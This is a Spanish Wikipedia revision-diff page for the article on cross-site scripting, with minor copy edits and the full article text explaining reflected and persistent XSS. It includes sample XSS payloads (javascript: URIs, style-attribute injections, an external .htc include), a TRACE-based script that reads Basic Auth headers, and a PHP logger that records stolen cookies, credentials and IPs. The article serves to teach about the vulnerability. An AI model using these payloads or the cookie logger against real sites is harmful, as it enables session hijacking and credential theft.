Diferencia entre revisiones de «Cross-site scripting»

De Wikipedia, la enciclopedia libre
Contenido eliminado Contenido añadido
LPR (discusión · contribs.)
m →‎Introducción: errores pequeños
Línea 3: Línea 3:
== Introducción ==
== Introducción ==


Su nombre original es "''Cross Site Scripting''", y es abreviado como XSS para no ser confundido con las siglas CSS, ([[hojas de estilo en cascada]]). Las vulnerabilidades de XSS originalmente abarcaban cualquier ataque que permitiera ejecutar código de "scripting", como [[VBScript]] o [[JavaScript]], en el contexto de otro sitio web (y recientemente esto se podría clasificar más correctamente como "distintos origenes").
Su nombre original es "''Cross Site Scripting''", y es abreviado como XSS para no ser confundido con las siglas CSS, ([[hojas de estilo en cascada]]). Las vulnerabilidades de XSS originalmente abarcaban cualquier ataque que permitiera ejecutar código de "''scripting''", como [[VBScript]] o [[JavaScript]], en el contexto de otro sitio web (y recientemente esto se podría clasificar más correctamente como "distintos origenes").


Estos errores se pueden encontrar en cualquier aplicación que tenga como objetivo final, el presentar la información en un browser. No se limita a [[página web|sitios web]], ya que puede haber aplicaciones locales vulnerables a XSS, o incluso el [[navegador web]] en sí. El problema está en que usualmente no se validan correctamente los datos de entrada que son usados en cierta aplicación. Esta vulnerabilidad puede estar presente de forma directa (también llamada persistente) o indirecta (también llamada reflejada).
Estos errores se pueden encontrar en cualquier aplicación que tenga como objetivo final, el presentar la información en un [[navegador web]]. No se limita a [[página web|sitios web]], ya que puede haber aplicaciones locales vulnerables a XSS, o incluso el navegador en sí. El problema está en que usualmente no se validan correctamente los datos de entrada que son usados en cierta aplicación. Esta vulnerabilidad puede estar presente de forma directa (también llamada persistente) o indirecta (también llamada reflejada).


* '''Directa''' (Persistente): este tipo de XSS comunmente filtrado, y consiste en invadir código HTML peligroso en sitios que asi lo permiten; Incluyendo asi tags como lo son <[[Guión (informática)|script]]> o <[[iframe]]>.
* '''Directa''' (Persistente): este tipo de XSS comúnmente filtrado, y consiste en invadir código HTML peligroso en sitios que así lo permiten; incluyendo así etiquetas como lo son <[[Guión (informática)|script]]> o <[[iframe]]>.


* '''Indirecta''' (Reflejada): este tipo de XSS consiste en modificar valores que la [[aplicación web]] utiliza para pasar variables entre dos páginas, sin usar sesiones y sucede cuando hay un mensaje o una ruta en la [[Localizador Uniforme de Recursos|URL]] del navegador, en una [[cookie]], o cualquier otra cabecera HTTP (en algunos navegadores y aplicaciones web, esto podria extenderse al [[DOM]] del navegador).
* '''Indirecta''' (Reflejada): este tipo de XSS consiste en modificar valores que la [[aplicación web]] utiliza para pasar variables entre dos páginas, sin usar sesiones y sucede cuando hay un mensaje o una ruta en la [[Localizador Uniforme de Recursos|URL]] del navegador, en una ''[[cookie]]'', o cualquier otra cabecera HTTP (en algunos navegadores y aplicaciones web, esto podria extenderse al [[DOM]] del navegador).


== XSS Indirecto (reflejado) ==
== XSS Indirecto (reflejado) ==

Revisión del 12:12 27 ago 2009

XSS, del inglés Cross-site scripting es un tipo de inseguridad informática o agujero de seguridad basado en la explotación de vulnerabilidades del sistema de validación de HTML incrustado.

Introducción

Su nombre original es "Cross Site Scripting", y es abreviado como XSS para no ser confundido con las siglas CSS, (hojas de estilo en cascada). Las vulnerabilidades de XSS originalmente abarcaban cualquier ataque que permitiera ejecutar código de "scripting", como VBScript o JavaScript, en el contexto de otro sitio web (y recientemente esto se podría clasificar más correctamente como "distintos origenes").

Estos errores se pueden encontrar en cualquier aplicación que tenga como objetivo final, el presentar la información en un navegador web. No se limita a sitios web, ya que puede haber aplicaciones locales vulnerables a XSS, o incluso el navegador en sí. El problema está en que usualmente no se validan correctamente los datos de entrada que son usados en cierta aplicación. Esta vulnerabilidad puede estar presente de forma directa (también llamada persistente) o indirecta (también llamada reflejada).

  • Directa (Persistente): este tipo de XSS comúnmente filtrado, y consiste en invadir código HTML peligroso en sitios que así lo permiten; incluyendo así etiquetas como lo son <script> o <iframe>.
  • Indirecta (Reflejada): este tipo de XSS consiste en modificar valores que la aplicación web utiliza para pasar variables entre dos páginas, sin usar sesiones y sucede cuando hay un mensaje o una ruta en la URL del navegador, en una cookie, o cualquier otra cabecera HTTP (en algunos navegadores y aplicaciones web, esto podria extenderse al DOM del navegador).

XSS Indirecto (reflejado)

Suponiendo que un sitio web tiene la siguiente forma:

http://www.example.com/home.asp?frame=menu.asp

Y que al acceder se creara un documento HTML enlazando con un frame a menu.asp.

En este ejemplo. ¿Qué pasaría si se pone como URL del frame un código javascript?

 javascript:while(1)alert("Este mensaje saldra indefinidamente");

Si este enlace lo pone un atacante hacia una victima. Un visitante puede verlo y verá que es del mismo dominio suponiendo que no puede ser nada malo y de resultado tendrá un loop infinito de mensajes.

Un atacante en realidad trataria de colocar un script que robe las cookies de la victima para despues poder personificarse como con su sesión, o hacer automático el proceso con el uso de la librería cURL o alguna similar. De esta forma el atacante, podría al recibir la cookie, ejecutar acciones con los permisos de la victima sin siquiera necesitar tu contraseña.

Otro uso común para estas vulnerabilidades es lograr hacer phishing. Quiere ello decir que la víctima ve en la barra de direcciones un sitio, pero realmente está en otra. La victima introduce su contraseña y se la envia al atacante.

Una página como a siguiente:

 error.php?error=Usuario%20Invalido

Es probablemente vulnerable a XSS indirecto, ya que si escribe en el documento "Usuario Invalido", esto significa que un atacante podria insertar HTML y JavaScript si asi lo desea.

Por ejemplo, un tag como <script> que ejecute código javascript cree otra sesión bajo otro usuario y mande la sesión actual al atacante.

Para probar vulnerabilidades de XSS en cookies, puedes modificar el contenido de una cookie de forma sencilla, usando el siguiente script. Sólo se debe colocar en la barra de direcciones, y presionar Enter.

javascript:void prompt("Introduce la cookie:",document.cookie).replace(/[^;]+/g,function(_){document.cookie=_;});

XSS Directo (persistente)

Funciona localizando puntos débiles en la programación de los filtros de HTML si es que existen, para publicar contenido (como blogs, foros, etc.).

Normalmente el atacante tratara de insertar tags como <iframe>, o <script>, pero en caso de fallar, el atacante puede tratar de poner tags que casi siempre están permitidas y es poco conocida su capacidad de ejecutar código. De esta forma el atacante podria ejecutar código malicioso.

Ejemplos:

Una posibilidad es usar atributos que permiten ejecutar código.

<BR SIZE="&{alert('XSS')}">
<FK STYLE="behavior: url(http://yoursite/xss.htc);">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">

También se puede crear un DIV con background-image: url(javascript:eval(this.fu)) como estilo y añadir al DIV un campo llamado fu que contenga el código a ejecutar, por ejemplo:

<div fu="alert('Hola mundo');" STYLE="background-image: url(javascript:eval(this.fu))">

AJAX

Usar AJAX para ataques de XSS no tan conocido, pero peligroso. Se basa en usar cualquier tipo de vulnerabilidad de XSS para introducir un objeto XMLHttp y usarlo para enviar contenido POST, GET, sin conocimiento del usuario.

Este se ha popularizado con gusanos de XSS que se encargan de replicarse por medio de vulnerabilidades de XSS persistentes (aunque la posibilidad de usar XSS reflejados es posible).

El siguiente script de ejemplo obtiene el valor de las cabeceras de autenticación de un sistema basado en Autenticación Básica (Basic Auth). Sólo falta decodificarlo, pero es más fácil mandarlo codificado al registro de contraseñas. La codificación es base64.

Script para obtener credenciales en tipo BASIC

Esta técnica también es llamada XST, Cross Site Tracing.

var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");

// para firefox, es: var xmlhttp = new XMLHttpRequest();

xmlhttp.open("TRACE","./",false);

xmlhttp.send(null);

str1=xmlhttp.responseText;

splitString = str1.split("Authorization: Basic ");

str2=splitString[1];

str3=str2.match(/.*/)[0];

alert(str3);

Por cuestiones de seguridad, Mozilla Firefox y el Internet Explorer 6.2+ no permiten usar el metodo TRACE.

Y este codigo guardaria un log con las cookies que enviaria el atacante.

<?php

$archivo = fopen('log2.htm','a');

$cookie = $_GET['c'];

$usuario = $_GET['id'];

$ip = getenv ('REMOTE_ADDR');

$re = $HTTPREFERRER;

$fecha=date("j F, Y, g:i a");

fwrite($archivo, '<hr>USUARIO Y PASSWORD: '.htmlentities(base64_decode($usuario)));
fwrite($archivo, '<br />Cookie: '.htmlentities($cookie).'<br />Pagina: '.htmlentities($re));
fwrite($archivo, '<br /> IP: ' .$ip. '<br /> Fecha y Hora: ' .$fecha. '</hr>');

fclose($archivo);

?>

Referencias

Enlaces externos